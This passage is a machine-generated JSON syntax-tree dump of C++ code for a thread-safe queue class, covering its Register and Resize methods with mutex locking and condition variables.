"()", "parent": 630, "children": [], "start_point": {"row": 126, "column": 24}, "end_point": {"row": 126, "column": 26}}, {"id": 635, "type": "call_expression", "text": "_lock.unlock()", "parent": 615, "children": [636, 639], "start_point": {"row": 127, "column": 6}, "end_point": {"row": 127, "column": 20}}, {"id": 636, "type": "field_expression", "text": "_lock.unlock", "parent": 635, "children": [637, 638], "start_point": {"row": 127, "column": 6}, "end_point": {"row": 127, "column": 18}}, {"id": 637, "type": "identifier", "text": "_lock", "parent": 636, "children": [], "start_point": {"row": 127, "column": 6}, "end_point": {"row": 127, "column": 11}}, {"id": 638, "type": "field_identifier", "text": "unlock", "parent": 636, "children": [], "start_point": {"row": 127, "column": 12}, "end_point": {"row": 127, "column": 18}}, {"id": 639, "type": "argument_list", "text": "()", "parent": 635, "children": [], "start_point": {"row": 127, "column": 18}, "end_point": {"row": 127, "column": 20}}, {"id": 640, "type": "else_clause", "text": "else {\n full_cv_.Interrupt();\n }", "parent": 615, "children": [], "start_point": {"row": 128, "column": 6}, "end_point": {"row": 130, "column": 5}}, {"id": 641, "type": "call_expression", "text": "full_cv_.Interrupt()", "parent": 640, "children": [642, 645], "start_point": {"row": 129, "column": 6}, "end_point": {"row": 129, "column": 26}}, {"id": 642, "type": "field_expression", "text": "full_cv_.Interrupt", "parent": 641, "children": [643, 644], "start_point": {"row": 129, "column": 6}, "end_point": {"row": 129, "column": 24}}, {"id": 643, "type": "identifier", "text": "full_cv_", "parent": 642, "children": [], "start_point": {"row": 129, "column": 6}, "end_point": {"row": 129, "column": 14}}, {"id": 644, "type": "field_identifier", "text": "Interrupt", "parent": 642, "children": [], "start_point": {"row": 129, "column": 15}, "end_point": {"row": 129, "column": 24}}, {"id": 645, "type": "argument_list", "text": "()", "parent": 641, "children": [], "start_point": {"row": 129, "column": 24}, "end_point": {"row": 129, "column": 26}}, {"id": 646, "type": "return_statement", "text": "return rc;", "parent": 568, "children": [647], "start_point": {"row": 131, "column": 4}, "end_point": {"row": 131, "column": 14}}, {"id": 647, "type": "identifier", "text": "rc", "parent": 646, "children": [], "start_point": {"row": 131, "column": 11}, "end_point": {"row": 131, "column": 13}}, {"id": 648, "type": "function_definition", "text": "Status Register(TaskGroup *vg) {\n Status rc1 = empty_cv_.Register(vg->GetIntrpService());\n Status rc2 = full_cv_.Register(vg->GetIntrpService());\n if (rc1.IsOk()) {\n return rc2;\n } else {\n return rc1;\n }\n }", "parent": 51, "children": [649, 650], "start_point": {"row": 134, "column": 2}, "end_point": {"row": 142, "column": 3}}, {"id": 649, "type": "type_identifier", "text": "Status", "parent": 648, "children": [], "start_point": {"row": 134, "column": 2}, "end_point": {"row": 134, "column": 8}}, {"id": 650, "type": "function_declarator", "text": "Register(TaskGroup *vg)", "parent": 648, "children": [651, 652], "start_point": {"row": 134, "column": 9}, "end_point": {"row": 134, "column": 32}}, {"id": 651, "type": "identifier", "text": "Register", "parent": 650, "children": [], "start_point": {"row": 134, "column": 9}, "end_point": {"row": 134, "column": 17}}, {"id": 652, "type": "parameter_list", "text": "(TaskGroup *vg)", "parent": 650, "children": [653], "start_point": {"row": 134, "column": 17}, "end_point": {"row": 134, "column": 32}}, {"id": 653, "type": "parameter_declaration", "text": "TaskGroup *vg", "parent": 652, "children": [654, 655], "start_point": {"row": 134, "column": 18}, "end_point": {"row": 134, "column": 31}}, {"id": 654, "type": "type_identifier", "text": "TaskGroup", "parent": 653, "children": [], "start_point": {"row": 134, "column": 18}, "end_point": {"row": 134, "column": 27}}, {"id": 655, "type": "pointer_declarator", "text": "*vg", "parent": 653, "children": [656, 657], "start_point": {"row": 134, "column": 28}, "end_point": {"row": 134, "column": 31}}, {"id": 656, "type": "*", "text": "*", "parent": 655, "children": [], "start_point": {"row": 134, "column": 28}, "end_point": {"row": 134, "column": 29}}, {"id": 657, "type": "identifier", "text": "vg", "parent": 655, "children": [], "start_point": {"row": 134, "column": 29}, "end_point": {"row": 134, "column": 31}}, {"id": 658, "type": "declaration", "text": "Status rc1 = empty_cv_.Register(vg->GetIntrpService());", "parent": 648, "children": [659, 660], "start_point": {"row": 135, "column": 4}, "end_point": {"row": 135, "column": 59}}, {"id": 659, "type": "type_identifier", "text": "Status", "parent": 658, "children": [], "start_point": {"row": 135, "column": 4}, "end_point": {"row": 135, "column": 10}}, {"id": 660, "type": "init_declarator", "text": "rc1 = empty_cv_.Register(vg->GetIntrpService())", "parent": 658, "children": [661, 662, 663], "start_point": {"row": 135, "column": 11}, "end_point": {"row": 135, "column": 58}}, {"id": 661, "type": "identifier", "text": "rc1", "parent": 660, "children": [], "start_point": {"row": 135, "column": 11}, "end_point": {"row": 135, "column": 14}}, {"id": 662, "type": "=", "text": "=", "parent": 660, "children": [], "start_point": {"row": 135, "column": 15}, "end_point": {"row": 135, "column": 16}}, {"id": 663, "type": "call_expression", "text": "empty_cv_.Register(vg->GetIntrpService())", "parent": 660, "children": [664, 667], "start_point": {"row": 135, "column": 17}, "end_point": {"row": 135, "column": 58}}, {"id": 664, "type": "field_expression", "text": "empty_cv_.Register", "parent": 663, "children": [665, 666], "start_point": {"row": 135, "column": 17}, "end_point": {"row": 135, "column": 35}}, {"id": 665, "type": "identifier", "text": "empty_cv_", "parent": 664, "children": [], "start_point": {"row": 135, "column": 17}, "end_point": {"row": 135, "column": 26}}, {"id": 666, "type": "field_identifier", "text": "Register", "parent": 664, "children": [], "start_point": {"row": 135, "column": 27}, "end_point": {"row": 135, "column": 35}}, {"id": 667, "type": "argument_list", "text": "(vg->GetIntrpService())", "parent": 663, "children": [668], "start_point": {"row": 135, "column": 35}, "end_point": {"row": 135, "column": 58}}, {"id": 668, "type": "call_expression", "text": "vg->GetIntrpService()", "parent": 667, "children": [669, 672], "start_point": {"row": 135, "column": 36}, "end_point": {"row": 135, "column": 57}}, {"id": 669, "type": "field_expression", "text": "vg->GetIntrpService", "parent": 668, "children": [670, 671], "start_point": {"row": 135, "column": 36}, "end_point": {"row": 135, "column": 55}}, {"id": 670, "type": "identifier", "text": "vg", "parent": 669, "children": [], "start_point": {"row": 135, "column": 36}, "end_point": {"row": 135, "column": 38}}, {"id": 671, "type": "field_identifier", "text": "GetIntrpService", "parent": 669, "children": [], "start_point": {"row": 135, "column": 40}, "end_point": {"row": 135, "column": 55}}, {"id": 672, "type": "argument_list", "text": "()", "parent": 668, "children": [], "start_point": {"row": 135, "column": 55}, "end_point": {"row": 135, "column": 57}}, {"id": 673, "type": "declaration", "text": "Status rc2 = full_cv_.Register(vg->GetIntrpService());", "parent": 648, "children": [674, 675], "start_point": {"row": 136, "column": 4}, "end_point": {"row": 136, "column": 58}}, {"id": 674, "type": "type_identifier", "text": "Status", "parent": 673, "children": [], "start_point": {"row": 136, "column": 4}, "end_point": {"row": 136, "column": 10}}, {"id": 675, "type": "init_declarator", "text": "rc2 = full_cv_.Register(vg->GetIntrpService())", "parent": 673, "children": [676, 677, 678], "start_point": {"row": 136, "column": 11}, "end_point": {"row": 136, "column": 57}}, {"id": 676, "type": "identifier", "text": "rc2", "parent": 675, "children": [], "start_point": {"row": 136, "column": 11}, "end_point": {"row": 136, "column": 14}}, {"id": 677, "type": "=", "text": "=", "parent": 675, "children": [], "start_point": {"row": 136, "column": 15}, "end_point": {"row": 136, "column": 16}}, {"id": 678, "type": "call_expression", "text": "full_cv_.Register(vg->GetIntrpService())", "parent": 675, "children": [679, 682], "start_point": {"row": 136, "column": 17}, "end_point": {"row": 136, "column": 57}}, {"id": 679, "type": "field_expression", "text": "full_cv_.Register", "parent": 678, "children": [680, 681], "start_point": {"row": 136, "column": 17}, "end_point": {"row": 136, "column": 34}}, {"id": 680, "type": "identifier", "text": "full_cv_", "parent": 679, "children": [], "start_point": {"row": 136, "column": 17}, "end_point": {"row": 136, "column": 25}}, {"id": 681, "type": "field_identifier", "text": "Register", "parent": 679, "children": [], "start_point": {"row": 136, "column": 26}, "end_point": {"row": 136, "column": 34}}, {"id": 682, "type": "argument_list", "text": "(vg->GetIntrpService())", "parent": 678, "children": [683], "start_point": {"row": 136, "column": 34}, "end_point": {"row": 136, "column": 57}}, {"id": 683, "type": "call_expression", "text": "vg->GetIntrpService()", "parent": 682, "children": [684, 687], "start_point": {"row": 136, "column": 35}, "end_point": {"row": 136, "column": 56}}, {"id": 684, "type": "field_expression", "text": "vg->GetIntrpService", "parent": 683, "children": [685, 686], "start_point": {"row": 136, "column": 35}, "end_point": {"row": 136, "column": 54}}, {"id": 685, "type": "identifier", "text": "vg", "parent": 684, "children": [], "start_point": {"row": 136, "column": 35}, "end_point": {"row": 136, "column": 37}}, {"id": 686, "type": "field_identifier", "text": "GetIntrpService", "parent": 684, "children": [], "start_point": {"row": 136, "column": 39}, "end_point": {"row": 136, "column": 54}}, {"id": 687, "type": "argument_list", "text": "()", "parent": 683, "children": [], "start_point": {"row": 136, "column": 54}, "end_point": {"row": 136, "column": 56}}, {"id": 688, "type": "if_statement", "text": "if (rc1.IsOk()) {\n return rc2;\n } else {\n return rc1;\n }", "parent": 648, "children": [689, 697], "start_point": {"row": 137, "column": 4}, "end_point": {"row": 141, "column": 5}}, {"id": 689, "type": "parenthesized_expression", "text": "(rc1.IsOk())", "parent": 688, "children": [690], "start_point": {"row": 137, "column": 7}, "end_point": {"row": 137, "column": 19}}, {"id": 690, "type": "call_expression", "text": "rc1.IsOk()", "parent": 689, "children": [691, 694], "start_point": {"row": 137, "column": 8}, "end_point": {"row": 137, "column": 18}}, {"id": 691, "type": "field_expression", "text": "rc1.IsOk", "parent": 690, "children": [692, 693], "start_point": {"row": 137, "column": 8}, "end_point": {"row": 137, "column": 16}}, {"id": 692, "type": "identifier", "text": "rc1", "parent": 691, "children": [], "start_point": {"row": 137, "column": 8}, "end_point": {"row": 137, "column": 11}}, {"id": 693, "type": "field_identifier", "text": "IsOk", "parent": 691, "children": [], "start_point": {"row": 137, "column": 12}, "end_point": {"row": 137, "column": 16}}, {"id": 694, "type": "argument_list", "text": "()", "parent": 690, "children": [], "start_point": {"row": 137, "column": 16}, "end_point": {"row": 137, "column": 18}}, {"id": 695, "type": "return_statement", "text": "return rc2;", "parent": 688, "children": [696], "start_point": {"row": 138, "column": 6}, "end_point": {"row": 138, "column": 17}}, {"id": 696, "type": "identifier", "text": "rc2", "parent": 695, "children": [], "start_point": {"row": 138, "column": 13}, "end_point": {"row": 138, "column": 16}}, {"id": 697, "type": "else_clause", "text": "else {\n return rc1;\n }", "parent": 688, "children": [], "start_point": {"row": 139, "column": 6}, "end_point": {"row": 141, "column": 5}}, {"id": 698, "type": "return_statement", "text": "return rc1;", "parent": 697, "children": [699], "start_point": {"row": 140, "column": 6}, "end_point": {"row": 140, "column": 17}}, {"id": 699, "type": "identifier", "text": "rc1", "parent": 698, "children": [], "start_point": {"row": 140, "column": 13}, "end_point": {"row": 140, "column": 16}}, {"id": 700, "type": "function_definition", "text": "Status Resize(int32_t new_capacity) {\n std::unique_lock<std::mutex> _lock(mux_);\n CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n \"New capacity: \" + std::to_string(new_capacity) + \", should be larger than 0\");\n RETURN_OK_IF_TRUE(new_capacity == capacity());\n std::vector<T> queue;\n // pop from the original queue until the new_capacity is full\n for (int32_t i = 0; i < new_capacity; ++i) {\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }\n // if there are extra elements in queue, put them to extra_arr_\n while (head_ < tail_) {\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }\n this->ResetQue();\n RETURN_IF_NOT_OK(arr_.allocate(new_capacity));\n sz_ = new_capacity;\n for (int32_t i = 0; i < queue.size(); ++i) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }\n queue.clear();\n _lock.unlock();\n return Status::OK();\n }", "parent": 51, "children": [701, 702], "start_point": {"row": 144, "column": 2}, "end_point": {"row": 184, "column": 3}}, {"id": 701, "type": "type_identifier", "text": "Status", "parent": 700, "children": [], "start_point": {"row": 144, "column": 2}, "end_point": {"row": 144, "column": 8}}, {"id": 702, "type": "function_declarator", "text": "Resize(int32_t new_capacity)", "parent": 700, "children": [703, 704], "start_point": {"row": 144, "column": 9}, "end_point": {"row": 144, "column": 37}}, {"id": 703, "type": "identifier", "text": "Resize", "parent": 702, "children": [], "start_point": {"row": 144, "column": 9}, "end_point": {"row": 144, "column": 15}}, {"id": 704, "type": "parameter_list", "text": "(int32_t new_capacity)", "parent": 702, "children": [705], "start_point": {"row": 144, "column": 15}, "end_point": {"row": 144, "column": 37}}, {"id": 705, "type": "parameter_declaration", "text": "int32_t new_capacity", "parent": 704, "children": [706, 707], "start_point": {"row": 144, "column": 16}, "end_point": {"row": 144, "column": 36}}, {"id": 706, "type": "primitive_type", "text": "int32_t", "parent": 705, "children": [], "start_point": {"row": 144, "column": 16}, "end_point": {"row": 144, "column": 23}}, {"id": 707, "type": "identifier", "text": "new_capacity", "parent": 705, "children": [], "start_point": {"row": 144, "column": 24}, "end_point": {"row": 144, "column": 36}}, {"id": 708, "type": "labeled_statement", "text": "std::unique_lock<std::mutex> _lock(mux_);", "parent": 700, "children": [709, 710], "start_point": {"row": 145, "column": 4}, "end_point": {"row": 145, "column": 45}}, {"id": 709, "type": "statement_identifier", "text": "std", "parent": 708, "children": [], "start_point": {"row": 145, "column": 4}, "end_point": {"row": 145, "column": 7}}, {"id": 710, "type": "ERROR", "text": "::unique_lock<std:", "parent": 708, "children": [711], "start_point": {"row": 145, "column": 7}, "end_point": {"row": 145, "column": 25}}, {"id": 711, "type": "binary_expression", "text": "unique_lock<std", "parent": 710, "children": [712, 713, 714], "start_point": {"row": 145, "column": 9}, "end_point": {"row": 145, "column": 24}}, {"id": 712, "type": "identifier", "text": "unique_lock", "parent": 711, "children": [], "start_point": {"row": 145, "column": 9}, "end_point": {"row": 145, "column": 20}}, {"id": 713, "type": "<", "text": "<", "parent": 711, "children": [], "start_point": {"row": 145, "column": 20}, "end_point": {"row": 145, "column": 21}}, {"id": 714, "type": "identifier", "text": "std", "parent": 711, "children": [], "start_point": {"row": 145, "column": 21}, "end_point": {"row": 145, "column": 24}}, {"id": 715, "type": "binary_expression", "text": "mutex> _lock(mux_)", "parent": 708, "children": [716, 717, 718], "start_point": {"row": 145, "column": 26}, "end_point": {"row": 145, "column": 44}}, {"id": 716, "type": "identifier", "text": "mutex", "parent": 715, "children": [], "start_point": {"row": 145, "column": 26}, "end_point": {"row": 145, "column": 31}}, {"id": 717, "type": ">", "text": ">", "parent": 715, "children": [], "start_point": {"row": 145, "column": 31}, "end_point": {"row": 145, "column": 32}}, {"id": 718, "type": "call_expression", "text": "_lock(mux_)", "parent": 715, "children": [719, 720], "start_point": {"row": 145, "column": 33}, "end_point": {"row": 145, "column": 44}}, {"id": 719, "type": "identifier", "text": "_lock", "parent": 718, "children": [], "start_point": {"row": 145, "column": 33}, "end_point": {"row": 145, "column": 38}}, {"id": 720, "type": "argument_list", "text": "(mux_)", "parent": 718, "children": [721], "start_point": {"row": 145, "column": 38}, "end_point": {"row": 145, "column": 44}}, {"id": 721, "type": "identifier", "text": "mux_", "parent": 720, "children": [], "start_point": {"row": 145, "column": 39}, "end_point": {"row": 145, "column": 43}}, {"id": 722, "type": "call_expression", "text": "CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n \"New capacity: \" + std::to_string(new_capacity) + \", should be larger than 0\")", "parent": 700, "children": [723, 724], "start_point": {"row": 146, "column": 4}, "end_point": {"row": 147, "column": 111}}, {"id": 723, "type": "identifier", "text": "CHECK_FAIL_RETURN_UNEXPECTED", "parent": 722, "children": [], "start_point": {"row": 146, "column": 4}, "end_point": {"row": 146, "column": 32}}, {"id": 724, "type": "argument_list", "text": "(new_capacity > 0,\n \"New capacity: \" + std::to_string(new_capacity) + \", should be larger than 0\")", "parent": 722, "children": [725, 729, 734], "start_point": {"row": 146, "column": 32}, "end_point": {"row": 147, "column": 111}}, {"id": 725, "type": "binary_expression", "text": "new_capacity > 0", "parent": 724, "children": [726, 727, 728], "start_point": {"row": 146, "column": 33}, "end_point": {"row": 146, "column": 49}}, {"id": 726, "type": "identifier", "text": "new_capacity", "parent": 725, "children": [], "start_point": {"row": 146, "column": 33}, "end_point": {"row": 146, "column": 45}}, {"id": 727, "type": ">", "text": ">", "parent": 725, "children": [], "start_point": {"row": 146, "column": 46}, "end_point": {"row": 146, "column": 47}}, {"id": 728, "type": "number_literal", "text": "0", "parent": 725, "children": [], "start_point": {"row": 146, "column": 48}, "end_point": {"row": 146, "column": 49}}, {"id": 729, "type": "ERROR", "text": "\"New capacity: \" + std::", "parent": 724, "children": [730], "start_point": {"row": 147, "column": 33}, "end_point": {"row": 147, "column": 57}}, {"id": 730, "type": "binary_expression", "text": "\"New capacity: \" + std", "parent": 729, "children": [731, 732, 733], "start_point": {"row": 147, "column": 33}, "end_point": {"row": 147, "column": 55}}, {"id": 731, "type": "string_literal", "text": "\"New capacity: \"", "parent": 730, "children": [], "start_point": {"row": 147, "column": 33}, "end_point": {"row": 147, "column": 49}}, {"id": 732, "type": "+", "text": "+", "parent": 730, "children": [], "start_point": {"row": 147, "column": 50}, "end_point": {"row": 147, "column": 51}}, {"id": 733, "type": "identifier", "text": "std", "parent": 730, "children": [], "start_point": {"row": 147, "column": 52}, "end_point": {"row": 147, "column": 55}}, {"id": 734, "type": "binary_expression", "text": "to_string(new_capacity) + \", should be larger than 0\"", "parent": 724, "children": [735, 739, 740], "start_point": {"row": 147, "column": 57}, "end_point": {"row": 147, "column": 110}}, {"id": 735, "type": "call_expression", "text": "to_string(new_capacity)", "parent": 734, "children": [736, 737], "start_point": {"row": 147, "column": 57}, "end_point": {"row": 147, "column": 80}}, {"id": 736, "type": "identifier", "text": "to_string", "parent": 735, "children": [], "start_point": {"row": 147, "column": 57}, "end_point": {"row": 147, "column": 66}}, {"id": 737, "type": "argument_list", "text": "(new_capacity)", "parent": 735, "children": [738], "start_point": {"row": 147, "column": 66}, "end_point": {"row": 147, "column": 80}}, {"id": 738, "type": "identifier", "text": "new_capacity", "parent": 737, "children": [], "start_point": {"row": 147, "column": 67}, "end_point": {"row": 147, "column": 79}}, {"id": 739, "type": "+", "text": "+", "parent": 734, "children": [], "start_point": {"row": 147, "column": 81}, "end_point": {"row": 147, "column": 82}}, {"id": 740, "type": "string_literal", "text": "\", should be larger than 0\"", "parent": 734, "children": [], "start_point": {"row": 147, "column": 83}, "end_point": {"row": 147, "column": 110}}, {"id": 741, "type": "call_expression", "text": "RETURN_OK_IF_TRUE(new_capacity == capacity())", "parent": 700, "children": [742, 743], "start_point": {"row": 148, "column": 4}, "end_point": {"row": 148, "column": 49}}, {"id": 742, "type": "identifier", "text": "RETURN_OK_IF_TRUE", "parent": 741, "children": [], "start_point": {"row": 148, "column": 4}, "end_point": {"row": 148, "column": 21}}, {"id": 743, "type": "argument_list", "text": "(new_capacity == capacity())", "parent": 741, "children": [744], "start_point": {"row": 148, "column": 21}, "end_point": {"row": 148, "column": 49}}, {"id": 744, "type": "binary_expression", "text": "new_capacity == capacity()", "parent": 743, "children": [745, 746, 747], "start_point": {"row": 148, "column": 22}, "end_point": {"row": 148, "column": 48}}, {"id": 745, "type": "identifier", "text": "new_capacity", "parent": 744, "children": [], "start_point": {"row": 148, "column": 22}, "end_point": {"row": 148, "column": 34}}, {"id": 746, "type": "==", "text": "==", "parent": 744, "children": [], "start_point": {"row": 148, "column": 35}, "end_point": {"row": 148, "column": 37}}, {"id": 747, "type": "call_expression", "text": "capacity()", "parent": 744, "children": [748, 749], "start_point": {"row": 148, "column": 38}, "end_point": {"row": 148, "column": 48}}, {"id": 748, "type": "identifier", "text": "capacity", "parent": 747, "children": [], "start_point": {"row": 148, "column": 38}, "end_point": {"row": 148, "column": 46}}, {"id": 749, "type": "argument_list", "text": "()", "parent": 747, "children": [], "start_point": {"row": 148, "column": 46}, "end_point": {"row": 148, "column": 48}}, {"id": 750, "type": "labeled_statement", "text": "std::vector<T> queue;", "parent": 700, "children": [751], "start_point": {"row": 149, "column": 4}, "end_point": {"row": 149, "column": 25}}, {"id": 751, "type": "statement_identifier", "text": "std", "parent": 750, "children": [], "start_point": {"row": 149, "column": 4}, "end_point": {"row": 149, "column": 7}}, {"id": 752, "type": "binary_expression", "text": "vector<T> queue", "parent": 750, "children": [753, 757, 758], "start_point": {"row": 149, "column": 9}, "end_point": {"row": 149, "column": 24}}, {"id": 753, "type": "binary_expression", "text": "vector<T", "parent": 752, "children": [754, 755, 756], "start_point": {"row": 149, "column": 9}, "end_point": {"row": 149, "column": 17}}, {"id": 754, "type": "identifier", "text": "vector", "parent": 753, "children": [], "start_point": {"row": 149, "column": 9}, "end_point": {"row": 149, "column": 15}}, {"id": 755, "type": "<", "text": "<", "parent": 753, "children": [], "start_point": {"row": 149, "column": 15}, "end_point": {"row": 149, "column": 16}}, {"id": 756, "type": "identifier", "text": "T", "parent": 753, "children": [], "start_point": {"row": 149, "column": 16}, "end_point": {"row": 149, "column": 17}}, {"id": 757, "type": ">", "text": ">", "parent": 752, "children": [], "start_point": {"row": 149, "column": 17}, "end_point": {"row": 149, "column": 18}}, {"id": 758, "type": "identifier", "text": "queue", "parent": 752, "children": [], "start_point": {"row": 149, "column": 19}, "end_point": {"row": 149, "column": 24}}, {"id": 759, "type": "for_statement", "text": "for (int32_t i = 0; i < new_capacity; ++i) {\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }", "parent": 700, "children": [760, 766, 770], "start_point": {"row": 151, "column": 4}, "end_point": {"row": 168, "column": 5}}, {"id": 760, "type": "declaration", "text": "int32_t i = 0;", "parent": 759, "children": [761, 762], "start_point": {"row": 151, "column": 9}, "end_point": {"row": 151, "column": 23}}, {"id": 761, "type": "primitive_type", "text": "int32_t", "parent": 760, "children": [], "start_point": {"row": 151, "column": 9}, "end_point": {"row": 151, "column": 16}}, {"id": 762, "type": "init_declarator", "text": "i = 0", "parent": 760, "children": [763, 764, 765], "start_point": {"row": 151, "column": 17}, "end_point": {"row": 151, "column": 22}}, {"id": 763, "type": "identifier", "text": "i", "parent": 762, "children": [], "start_point": {"row": 151, "column": 17}, "end_point": {"row": 151, "column": 18}}, {"id": 764, "type": "=", "text": "=", "parent": 762, "children": [], "start_point": {"row": 151, "column": 19}, "end_point": {"row": 151, "column": 20}}, {"id": 765, "type": "number_literal", "text": "0", "parent": 762, "children": [], "start_point": {"row": 151, "column": 21}, "end_point": {"row": 151, "column": 22}}, {"id": 766, "type": "binary_expression", "text": "i < new_capacity", "parent": 759, "children": [767, 768, 769], "start_point": {"row": 151, "column": 24}, "end_point": {"row": 151, "column": 40}}, {"id": 767, "type": "identifier", "text": "i", "parent": 766, "children": [], "start_point": {"row": 151, "column": 24}, "end_point": {"row": 151, "column": 25}}, {"id": 768, "type": "<", "text": "<", "parent": 766, "children": [], "start_point": {"row": 151, "column": 26}, "end_point": {"row": 151, "column": 27}}, {"id": 769, "type": "identifier", "text": "new_capacity", "parent": 766, "children": [], "start_point": {"row": 151, "column": 28}, "end_point": {"row": 151, "column": 40}}, {"id": 770, "type": "update_expression", "text": "++i", "parent": 759, "children": [771, 772], "start_point": {"row": 151, "column": 42}, "end_point": {"row": 151, "column": 45}}, {"id": 771, "type": "++", "text": "++", "parent": 770, "children": [], "start_point": {"row": 151, "column": 42}, "end_point": {"row": 151, "column": 44}}, {"id": 772, "type": "identifier", "text": "i", "parent": 770, "children": [], "start_point": {"row": 151, "column": 44}, "end_point": {"row": 151, "column": 45}}, {"id": 773, "type": "if_statement", "text": "if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }", "parent": 759, "children": [774, 799], "start_point": {"row": 152, "column": 6}, "end_point": {"row": 167, "column": 7}}, {"id": 774, "type": "parenthesized_expression", "text": "(head_ < tail_)", "parent": 773, "children": [775], "start_point": {"row": 152, "column": 9}, "end_point": {"row": 152, "column": 24}}, {"id": 775, "type": "binary_expression", "text": "head_ < tail_", "parent": 774, "children": [776, 777, 778], "start_point": {"row": 152, "column": 10}, "end_point": {"row": 152, "column": 23}}, {"id": 776, "type": "identifier", "text": "head_", "parent": 775, "children": [], "start_point": {"row": 152, "column": 10}, "end_point": {"row": 152, "column": 15}}, {"id": 777, "type": "<", "text": "<", "parent": 775, "children": [], "start_point": {"row": 152, "column": 16}, "end_point": {"row": 152, "column": 17}}, {"id": 778, "type": "identifier", "text": "tail_", "parent": 775, "children": [], "start_point": {"row": 152, "column": 18}, "end_point": {"row": 152, "column": 23}}, {"id": 779, "type": "declaration", "text": "T temp;", "parent": 773, "children": [780, 781], "start_point": {"row": 154, "column": 8}, "end_point": {"row": 154, "column": 15}}, {"id": 780, "type": "type_identifier", "text": "T", "parent": 779, "children": [], "start_point": {"row": 154, "column": 8}, "end_point": {"row": 154, "column": 9}}, {"id": 781, "type": "identifier", "text": "temp", "parent": 779, "children": [], "start_point": {"row": 154, "column": 10}, "end_point": {"row": 154, "column": 14}}, {"id": 782, "type": "call_expression", "text": "RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true))", "parent": 773, "children": [783, 784], "start_point": {"row": 155, "column": 8}, "end_point": {"row": 155, "column": 69}}, {"id": 783, "type": "identifier", "text": "RETURN_IF_NOT_OK", "parent": 782, "children": [], "start_point": {"row": 155, "column": 8}, "end_point": {"row": 155, "column": 24}}, {"id": 784, "type": "argument_list", "text": "(this->PopFrontWhileHoldingLock(&temp, true))", "parent": 782, "children": [785], "start_point": {"row": 155, "column": 24}, "end_point": {"row": 155, "column": 69}}, {"id": 785, "type": "call_expression", "text": "this->PopFrontWhileHoldingLock(&temp, true)", "parent": 784, "children": [786, 789], "start_point": {"row": 155, "column": 25}, "end_point": {"row": 155, "column": 68}}, {"id": 786, "type": "field_expression", "text": "this->PopFrontWhileHoldingLock", "parent": 785, "children": [787, 788], "start_point": {"row": 155, "column": 25}, "end_point": {"row": 155, "column": 55}}, {"id": 787, "type": "identifier", "text": "this", "parent": 786, "children": [], "start_point": {"row": 155, "column": 25}, "end_point": {"row": 155, "column": 29}}, {"id": 788, "type": "field_identifier", "text": "PopFrontWhileHoldingLock", "parent": 786, "children": [], "start_point": {"row": 155, "column": 31}, "end_point": {"row": 155, "column": 55}}, {"id": 789, "type": "argument_list", "text": "(&temp, true)", "parent": 785, "children": [790, 792], "start_point": {"row": 155, "column": 55}, "end_point": {"row": 155, "column": 68}}, {"id": 790, "type": "pointer_expression", "text": "&temp", "parent": 789, "children": [791], "start_point": {"row": 155, "column": 56}, "end_point": {"row": 155, "column": 61}}, {"id": 791, "type": "identifier", "text": "temp", "parent": 790, "children": [], "start_point": {"row": 155, "column": 57}, "end_point": {"row": 155, "column": 61}}, {"id": 792, "type": "true", "text": "true", "parent": 789, "children": [], "start_point": {"row": 155, "column": 63}, "end_point": {"row": 155, "column": 67}}, {"id": 793, "type": "call_expression", "text": "queue.push_back(temp)", "parent": 773, "children": [794, 797], "start_point": {"row": 156, "column": 8}, "end_point": {"row": 156, "column": 29}}, {"id": 794, "type": "field_expression", "text": "queue.push_back", "parent": 793, "children": [795, 796], "start_point": {"row": 156, "column": 8}, "end_point": {"row": 156, "column": 23}}, {"id": 795, "type": "identifier", "text": "queue", "parent": 794, "children": [], "start_point": {"row": 156, "column": 8}, "end_point": {"row": 156, "column": 13}}, {"id": 796, "type": "field_identifier", "text": "push_back", "parent": 794, "children": [], "start_point": {"row": 156, "column": 14}, "end_point": {"row": 156, "column": 23}}, {"id": 797, "type": "argument_list", "text": "(temp)", "parent": 793, "children": [798], "start_point": {"row": 156, "column": 23}, "end_point": {"row": 156, "column": 29}}, {"id": 798, "type": "identifier", "text": "temp", "parent": 797, "children": [], "start_point": {"row": 156, "column": 24}, "end_point": {"row": 156, "column": 28}}, {"id": 799, "type": "else_clause", "text": "else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }", "parent": 773, "children": [], "start_point": {"row": 157, "column": 8}, "end_point": {"row": 167, "column": 7}}, {"id": 800, "type": "if_statement", "text": "if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n 